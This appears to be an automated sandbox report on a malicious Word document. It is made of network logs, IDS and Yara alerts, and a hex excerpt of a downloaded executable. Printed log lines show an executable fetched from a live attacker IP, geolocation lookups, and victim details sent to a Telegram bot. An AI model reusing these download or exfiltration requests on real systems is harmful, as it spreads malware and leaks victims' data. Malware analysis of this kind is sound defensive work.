Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 87.120.84.38:80 -> 192.168.2.22:49165
Source: Network traffic	Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 87.120.84.38:80 -> 192.168.2.22:49165
Source: Network traffic	Suricata IDS: 2827449 - Severity 1 - ETPRO EXPLOIT Adobe EMF File Memory Corrpution Vulnerability Inbound (CVE-2017-3123) : 87.120.84.38:80 -> 192.168.2.22:49165

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Wed, 30 Oct 2024 07:14:18 GMTContent-Type: application/x-msdos-programContent-Length: 756736Connection: keep-aliveLast-Modified: Wed, 30 Oct 2024 02:10:57 GMTETag: "b8c00-625a8366620d3"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ec 94 21 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 70 0b 00 00 1a 00 00 00 00 00 00 a2 8f 0b 00 00 20 00 00 00 a0 0b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 8f 0b 00 4f 00 00 00 00 a0 0b 00 20 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a8 6f 0b 00 00 20 00 00 00 70 0b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 20 17 00 00 00 a0 0b 00 00 18 00 00 00 72 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 0b 00 00 02 00 00 00 8a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 8f 0b 00 00 00 00 00 48 00 00 00 02 00 05 00 0c 71 00 00 c4 67 00 00 03 00 00 00 81 00 00 06 d0 d8 00 00 80 b6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 01 00 12 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 28 17 00 00 0a 0a 2b 00 06 2a 00 00 13 30 02 00 13 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 28 18 00 00 0a 0a 2b 00 06 2a 00 13 30 03 00 14 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 28 19 00 00 0a 0a 2b 00 06 2a 13 30 04 00 15 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 05 28 1a 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 05 00 17 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 05 0e 04 28 1b 00 00 0a 0a 2b 00 06 2a 00 13 30 06 00 19 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 05 0e 04 0e 05 28 1c 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 02 00 19 00 00 00 01 00 00 11 00 02 80 01 00 00 04 28 18 00 00 06 00 02 03 28 1d 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 03 00 1a 00 00 00 01 00 00 11 00 02 80 01 00 00 04 28 18 00 00 06 00 02 03 04 28 1e 00 00 0a 0a 2b 00 06 2a 00 00 13 30 04 00 1b 00 00 00 01 00 00 11 00 02 80 01 00 00 04 28 18 00 00 06 00 02 03 04 05

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:971342%0D%0ADate%20and%20Time:%2010/30/2024%20/%207:45:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20971342%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: SHARCOM-ASBG SHARCOM-ASBG

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49171 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49169 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49166 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49178 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49168 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49182 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49174 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET /txt/CLLPdgxhnmwGf5Y.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.38Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49167 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.38

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{18EB24B9-D74C-4691-AA6F-57A74C54BFE9}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:971342%0D%0ADate%20and%20Time:%2010/30/2024%20/%207:45:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20971342%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /txt/CLLPdgxhnmwGf5Y.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.38Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

